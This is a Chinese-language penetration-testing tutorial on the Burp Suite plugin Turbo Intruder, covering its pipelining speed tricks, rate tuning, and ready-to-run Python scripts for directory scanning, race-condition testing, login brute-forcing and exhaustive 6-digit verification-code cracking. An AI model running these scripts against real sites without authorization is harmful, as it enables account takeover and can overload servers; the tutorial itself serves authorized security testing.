Turbo Intruder 使用 – 拥抱十亿请求攻击

2020-03-26 7,900

在上一篇 一些相见恨晚的BurpSuite插件推荐 文章中简单介绍了下 Turbo Intruder 这个插件,这次来详细讲解下这个插件的使用,灵活运用该插件可以很好地提高我们的渗透效率。

Turbo Intruder 简介

Turbo Intruder 是一个 BurpSuite 插件,用于发送大量HTTP请求并分析结果。它的设计目的是补充 Intruder 的不足。它的特点如下:

  • 快速 -Turbo Intruder 使用了一个重写的 HTTP 栈 ,用于提升速度。在许多目标上,它甚至可能超过流行的异步 Go 脚本。
  • 可扩展 -Turbo Intruder 运行时使用很少的内存,从而可以连续运行几天。同时可以脱离 burpsuite 在命令行下使用。
  • 灵活 - Turbo Intruder 的攻击是使用 Python 配置的。这样可以处理复杂的要求,例如签名的请求和多步攻击序列。此外,自定义 HTTP 栈意味着它可以处理其他库无法处理的畸形格式请求。
  • 方便 - 它的结果可以通过 Backslash Powered Scanner 的高级差异算法自动过滤。这意味着您可以单击两次即可发起攻击并获得有用的结果。

Turbo Intruder 有多强大呢?可以看下作者的使用截图


上图中, 可以看到他用了17个小时,发送了14亿个请求,每秒发送了 22546 个请求,而内存只用了 1GB。

这速度是什么概念呢?以 6 位数验证码的爆破为例,一共 1000000 个请求, 每秒 20000个请求, 只需 50 秒即可爆破成功,即使你的验证码有效期是 1 分钟,也会被暴力破解!所以不要认为6位的验证码就足够安全!

当然,上面的速度是比较极限的,应该是在云主机 vps 上的带宽使用 burpsuite 。

我们的家用网络一般达不到这种速度,但每秒几百个请求还是很轻松的,以每秒 1000 个请求计算, 6位数的验证码,1000000个请求,也只需1000秒,也就是16分钟即可破解。

Turbo Intruder 低层原理

Turbo Intruder 使用自定义的 HTTP 来和服务器进行通信。

首先它会使 Connection: keepalive 头发起 HTTP 请求,如果是使用默认的 Connection: close 头,那么每次和服务器建立 HTTP 请求时都要重新建立一条 TCP 连接,这样比较浪费时间。

Connection: keepalive 头可以复用同一条 TCP 连接来发送多个 HTTP 请求, 这样就可以节省重复建立 TCP 连接的时间。 从下图可以看出,使用 Connection: keepalive 头后速度是原来的 400% 。




另外, 它还使用了 HTTP Pipelining (HTTP 管道)的方式来发送 HTTP 请求,这种方式会一次性发送几十个 HTTP 请求到服务器, 然后再一次性读取几十个请求响应。通过 HTTP 管道的方式,速度是一开始的 6000% !


Turbo Intruder 安装

可以在 burpsuite 的 BApp Store 直接安装该插件,也可以在它的 github 地址下载手动安装插件。

在应用商店中安装


也可以在以下地址下载 jar 包手动添加

https://github.com/PortSwigger/turbo-intruder/releases/download/1.0.12/turbo-intruder-all.jar




Turbo Intruder 使用

以网站目录扫描为例,对于要扫描的网站,可以在请求中选中要 fuzz (模糊测试)的点,下图中是 login.php 的地方,然后右键,选择 Send to turbo intruder 



在新打开的窗口中会自动加载 default.py 的代码,该代码可以在 github 上下载:
https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py

这个窗口分为两部分,上面的是要进行 fuzz 的请求内容,选中的插入点会用一个 %s 来代替,表示接下来会在这个点上插入字典。

窗口的下面部分为自定义的 python 代码,用于生成字典并指导 Turbo Intruder 如何进行 fuzz。稍后再讲解代码的作用,我们需要修改的是13 行处字典的路径,修改成我们本地的目录字典路径,最好是英文的路径:

接着点击 Attack 按钮开始目录扫描:

运行情况如上图,可以看到一共发送了 28 万个请求,一共使用了 58 秒, 每秒发送了4892 个请求。

点击其中的一条请求,可以看到之前 %s 的地方已经被字典的内容替换了,上图中替换的内容是 /robots.txt 


Python 代码讲解

要自定义更高级的攻击,就需要设计自己的 fuzz 代码来定制攻击。在这里需要 Python 编程语言的基础,不会 Python 的建议看下《Python 核心编程》。

我们来看看上面的 Python 代码做了什么:

# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.pydef queueRequests(target, wordlists):    engine = RequestEngine(endpoint=target.endpoint,                           concurrentConnections=5,                           requestsPerConnection=100,                           pipeline=False                           )
for i in range(3, 8):        engine.queue(target.req, randstr(i), learn=1)        engine.queue(target.req, target.baseInput, learn=2)
for word in open('/usr/share/dict/words'):        engine.queue(target.req, word.rstrip())
def handleResponse(req, interesting):if interesting:        table.add(req)
代码中的 queueRequests() 函数负责生成字典,并且添加到请求队列中。

queueRequests() 函数中传入了两个参数,第一个参数是 target,里面封装了这个请求目标的一些信息,wordlists 参数是自带的一些字典,在这里先不管它。

代码中在第 3 行处创建了一个 RequestEngine 对象, 传入了 3 个参数。
endpoint 参数指定目标的地址,如 https://www.baidu.com 。这里直接传入 
target.endpoint 就可以了。pipeline 代表是否开启 http 管道模式。

接下来的 concurrentConnections 参数代表和服务器建立多少条连接,
requestsPerConnection 参数代表每条连接同时发送多少个请求。
上面的设置意思是和服务器建立 5 条管道, 每条管道同时发送 100 个请求。

在 9 - 11 行中通过 engine.queue() 函数向请求队列中插入了 5 条随机的请求和 5 条原本的请求。target.req 代表请求的模板,也就是加了 %s 后的请求内容;target.baseInput 代表选中的内容。 randstr(i) 用于生成指定长度的字符。

这 10 条请求的响应作为样本,在后面 fuzz 时,如果出现和样本不一样的响应,就会显示到结果中。主要用于自动识别感兴趣的响应。其中的 learn 参数是样本 id , 用于区分不同的样本。


handleResponse() 函数负责判断哪些请求响应是感兴趣的。req 参数是请求的响应,可以通过 req.status 、 req.response 、req.length 、 req.wordcount 来获取响应状态码、响应内容、长度、和字符数。 

interesting 参数是布尔变量,指示该响应是否和样本一样,如果一样就是 False, 不一样就是 True。所以在 17 行处根据 interesting 的值来把响应添加到结果中。这个参数在做目录爆破时比较好用,也就是我们想要的结果的响应长度和内容变化比较大的情况下比较好用。

interesting 参数使用时,如果是一些登录请求,长度没变化,比如 SUCCESS = 1/0 这种情况下,就很难区分出成功和不成功的请求了。因此我比较喜欢自己判断请求响应是否感兴趣,如  req.status != 404 。

注意事项

Turbo Intruder通过网络级效率来提高速度,因此即使在网络连接较差的情况下,Turbo Intruder也可以保持相对较高的性能。 即使在咖啡店的wifi,也可以每秒实现数百个请求。

这意味着目标网站可能会成为其运行速度的限制因素。 由于它使用的并发连接数量少,因此不太可能造成经典的DoS情况,即服务器的连接池被消耗,其他人无法连接。 但是,以资源密集型页面为目标可能会使服务器陷入困境(CC攻击),并使所有人的速度变慢,因此建议在攻击期间监视应用程序性能。

调节 Turbo Intruder 的速度

理想情况下,当然是同时建立的连接越多,每条连接同时发送的请求越多,速度就越快,但可能受限于目标网站的性能和自己网络带宽的原因,只能达到一定速度。比如挂了一个很卡的 VPN 或者目标网站性能太差。

在开始的时候,可以把 concurrentConnections 设置为 1 ,requestsPerConnection 设置为 100 ,我们先来测试单个连接能达到的最大速度。


需要注意的变量是 RPS 和 Retries ,如果 Retries 过多,证明有很多请求失败,需要调低点同时发送的请求。 

可以看到此时每秒可以发送 84 个请求。


再把 requestsPerConnection 设置成 200 ,可以看到每秒发送的请求不增,反而降了


再设置 requestsPerConnection 为 50 , RPS 是 73, 发现还是比 100 的小,所以我们现在把 requestsPerConnection 设置为 100 这个最佳值。


接下来把 pipeline 设置为 True ,使用管道模式。


可以看到 RPS 一下子升到了 348,可以看到使用管道模式可以大大提高速度。


接下来把 concurrentConnections 设置成5 ,也就是使用 5 条连接一起发送请求。


可以看到 RPS 升到了 2141 ,速度提升了几倍。


我们继续提升管道数为 10 ,速度提升到了 2634 , 但 Retries 达到了 41, 也就是需要重新发送的请求变多了,意味着网络不稳定了。因此我们对这个目标选择 concurrentConnections=5, requestsPerConnection=100, pipeline=True 作为最佳的参数。


可以看到,通过合理调节速度,把一开始的每秒 80次请求数提升到了2000次。

Turbo Intruder 进阶使用

下面使用 Turbo Intruder 进行一些常见的攻击。

测试并发漏洞

默认脚本使用流式攻击方式,这对于最大程度地减少内存使用量非常有用,但对于查找竞争条件而言并不是理想的选择。要查找竞争条件,您将要确保所有请求都在尽可能小的窗口内命中目标,这可以通过在启动请求引擎之前对所有请求进行排队来完成。

可以在下面地址找到代码示例:

https://github.com/PortSwigger/turbo-intruder/tree/master/resources/examples/race.py

先下看看代码:

def queueRequests(target, wordlists):    engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=30,                           requestsPerConnection=100,                           pipeline=False                           )
# the 'gate' argument blocks the final byte of each request until openGate is invokedfor i in range(30):        engine.queue(target.req, target.baseInput, gate='race1')
# wait until every 'race1' tagged request is ready# then send the final byte of each request# (this method is non-blocking, just like queue)    engine.openGate('race1')
   engine.complete(timeout=60)

def handleResponse(req, interesting):    table.add(req)
这段测试并发的代码和前面扫描目录的有点不一样,并发测试的时候,不是使用队列来发送数据的,上面的代码中同时开启了 30 个连接,然后在第 9 行处添加了 30 个请求,需要注意的是,第9行处的 30 必须和
concurrentConnections 的值一样。接着使用了 gate 参数,这个参数用来标识属于同一个并发测试的请求。

此时,会在30个连接中各放入一个请求,但会留下最后一个字节不发送出去,然后在第 15 行处等待30个连接中的请求都准备好后一起发送最后一个字节,这样服务器就会同时处理30个请求,从而达到了并发测试的目的。

在 17 行会设置最迟60秒后显示结果。




爆破账号密码

爆破账号密码和扫描目录差不多,只是把字典添加在用户名或者密码处,为了方便,我把横向爆破、单个账号密码爆破、同时爆破账号密码的代码分别建立了一个函数,要用哪个时就删除哪个函数的注释:
from urllib import quote
def password_brute(target,engine):  for word in open('/Users/mac/safe/web/brute/mypass.txt'):        engine.queue(target.req, quote(word.rstrip()))
def user_brute(target,engine):  for word in open('/Users/mac/safe/web/brute/myuser.txt'):        engine.queue(target.req, quote(word.rstrip())) def user_password_brute(target, engine):  for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):    for user in open('/Users/mac/safe/web/brute/usertop100.txt'):            engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])
def queueRequests(target, wordlists):    engine = RequestEngine(endpoint=target.endpoint,            concurrentConnections=30,            requestsPerConnection=100,            pipeline=False            )    #user_brute(target,engine)    #password_brute(target,engine)    user_password_brute(target,engine)
def handleResponse(req, interesting):# currently available attributes are req.status, req.wordcount, req.length and req.response    if req.status == 302:       table.add(req)
需要注意的是,要同时爆破账号名和密码,需要分别给账号和密码处添加 %s ,在添加请求队列时,需要使用数组的形式来把用户名和密码都添加进去,如14行处的代码所示。

在 28 行处根据状态码为 302 判断是否登录成功,实际测试中可以有多种判断方式。

注意,需要在第4、8、12和13行处替换成你自己的用户字典和密码字典,同时爆破账号密码时,用户字典和密码字典都不宜过大,如 top100 用户字典和 top100 密码字典组合为例,就会有 10000个请求,数量就比较大了。


爆破验证码

爆破验证码只需生成数字的所有排列组合就可以了,可以通过以下代码来生成
from itertools import product
def brute_veify_code(target, engine, length):    pattern = '1234567890'    for i in list(product(pattern, repeat=length)):         code =  ''.join(i)         engine.queue(target.req, code)

def queueRequests(target, wordlists):    engine = RequestEngine(endpoint=target.endpoint,            concurrentConnections=30,            requestsPerConnection=100,            pipeline=True            )    brute_veify_code(target, engine, 6)

def handleResponse(req, interesting):# currently available attributes are req.status, req.wordcount, req.length and req.response  if 'error' not in req.response:       table.add(req)
使用时只需要调用函数,传入要生成验证码的长度即可,在本例子中生成6位的验证码


对多个目标目录扫描

对多个目标进行扫描可以使用以下代码来实现:
def mult_host_dir_brute():    req = '''GET /%s HTTP/1.1Host: %sConnection: keep-alive
'''    engines = {}for url in open('/Users/mac/temp/urls.txt'):        url = url.rstrip()        engine = RequestEngine(endpoint=url,            concurrentConnections=5,            requestsPerConnection=100,            pipeline=True)        engines[url] = engine for word in open('/Users/mac/safe/web/brute/all.txt'):        word = word.rstrip()for (url, engine) in engines.items():            domain = url.split('/')[2]            engine.queue(req, [word, domain])
def queueRequests(target, wordlists):    mult_host_dir_brute()
def handleResponse(req, interesting):# currently available attributes are req.status, req.wordcount, req.length and req.response  if req.status != 404:       table.add(req)
其中 urls.txt 里面存放了两个首页的 URL:
https://www.baidu.com 
http://172.16.108.176
代码中第9行处定义了一个请求模板,里面两个插入点 %s ,一个是路径的位置,一个是 Host 头的位置, 接着在第8至14行为每个请求新建一个请求 engine, 每个 engine 负责扫描一个 URL, 在16-20行添加字典进队列进行扫描。

这时可以用随便一个请求来打开 Turbo Intruder 窗口,输入上面代码,把要扫描的 url 放到 urls.txt 即可扫描。

注意,需要在第8和16行处替换成你自己的 urls.txt 和目录字典的路径。





总体代码

常见的几种攻击方式介绍完了,这里给出一个完整的代码,包含上面的所有函数,想要用哪个函数,就解除注释调用就行了:
from urllib import quotefrom itertools import product
def concurrency(target,engine):    # the 'gate' argument blocks the final byte of each request until openGate is invoked    for i in range(30):        engine.queue(target.req, gate='race1')    # wait until every 'race1' tagged request is ready    # then send the final byte of each request    # (this method is non-blocking, just like queue)    engine.openGate('race1')    engine.complete(timeout=60)
def parameter_brute(target,engine):    for word in open('/Users/mac/safe/web/brute/AllParam.txt'):        engine.queue(target.req, word.rstrip())
def dir_brute(target, engine):    for word in open('/Users/mac/safe/web/brute/dir_scan/all_dir.txt'):    #for word in open('/Users/mac/safe/web/brute/all.txt'):        engine.queue(target.req, word.rstrip())
def mult_host_dir_brute():    req = '''GET /%s HTTP/1.1Host: %sConnection: keep-alive
'''    engines = {}    for url in open('/Users/mac/temp/urls.txt'):        url = url.rstrip()        engine = RequestEngine(endpoint=url,            concurrentConnections=5,            requestsPerConnection=100,            pipeline=True)        engines[url] = engine
   for word in open('/Users/mac/safe/web/brute/all.txt'):        word = word.rstrip()        for (url, engine) in engines.items():            domain = url.split('/')[2]            engine.queue(req, [word, domain])
def password_brute(target,engine):    for word in open('/Users/mac/safe/web/brute/mypass.txt'):        engine.queue(target.req, quote(word.rstrip()))
def user_brute(target,engine):    for word in open('/Users/mac/safe/web/brute/myuser.txt'):        engine.queue(target.req, quote(word.rstrip()))

def user_password_brute(target, engine):    for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):        for user in open('/Users/mac/safe/web/brute/usertop100.txt'):            engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])        def brute_veify_code(target, engine, length):#    pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'    pattern = '1234567890'    for i in list(product(pattern, repeat=length)):         code =  ''.join(i)         engine.queue(target.req, code)

def queueRequests(target, wordlists):    engine = RequestEngine(endpoint=target.endpoint,            concurrentConnections=30,            requestsPerConnection=100,            pipeline=True            )    #brute_veify_code(target, engine, 5)    dir_brute(target, engine)    #user_brute(target,engine)    #concurrency(target,engine)    #password_brute(target,engine)    #user_password_brute(target,engine)    #mult_host_dir_brute()def handleResponse(req, interesting):    # currently available attributes are req.status, req.wordcount, req.length and req.response    if req.status != 404 and req.status != 302:    #if req.wordcount != 1197 and req.wordcount != 1196:    #if 'success' in req.response:    #if req.length == 461:    #if interesting:       table.add(req)
Turbo Intruder 的用法在这里就介绍完了,更多高级的功能需要自己去定制 python 代码,比如延时爆破等。

Turbo Intruder  可以说是我最喜欢的插件之一了,所以把这个插件分享给大家。熟练使用 Turbo Intruder 可以极大地提升我们的渗透效率!

本文作者:timeshatter

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/126527.html

Tags:
评论  (0)
快来写下你的想法吧!

timeshatter

文章数:9 积分: 105

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号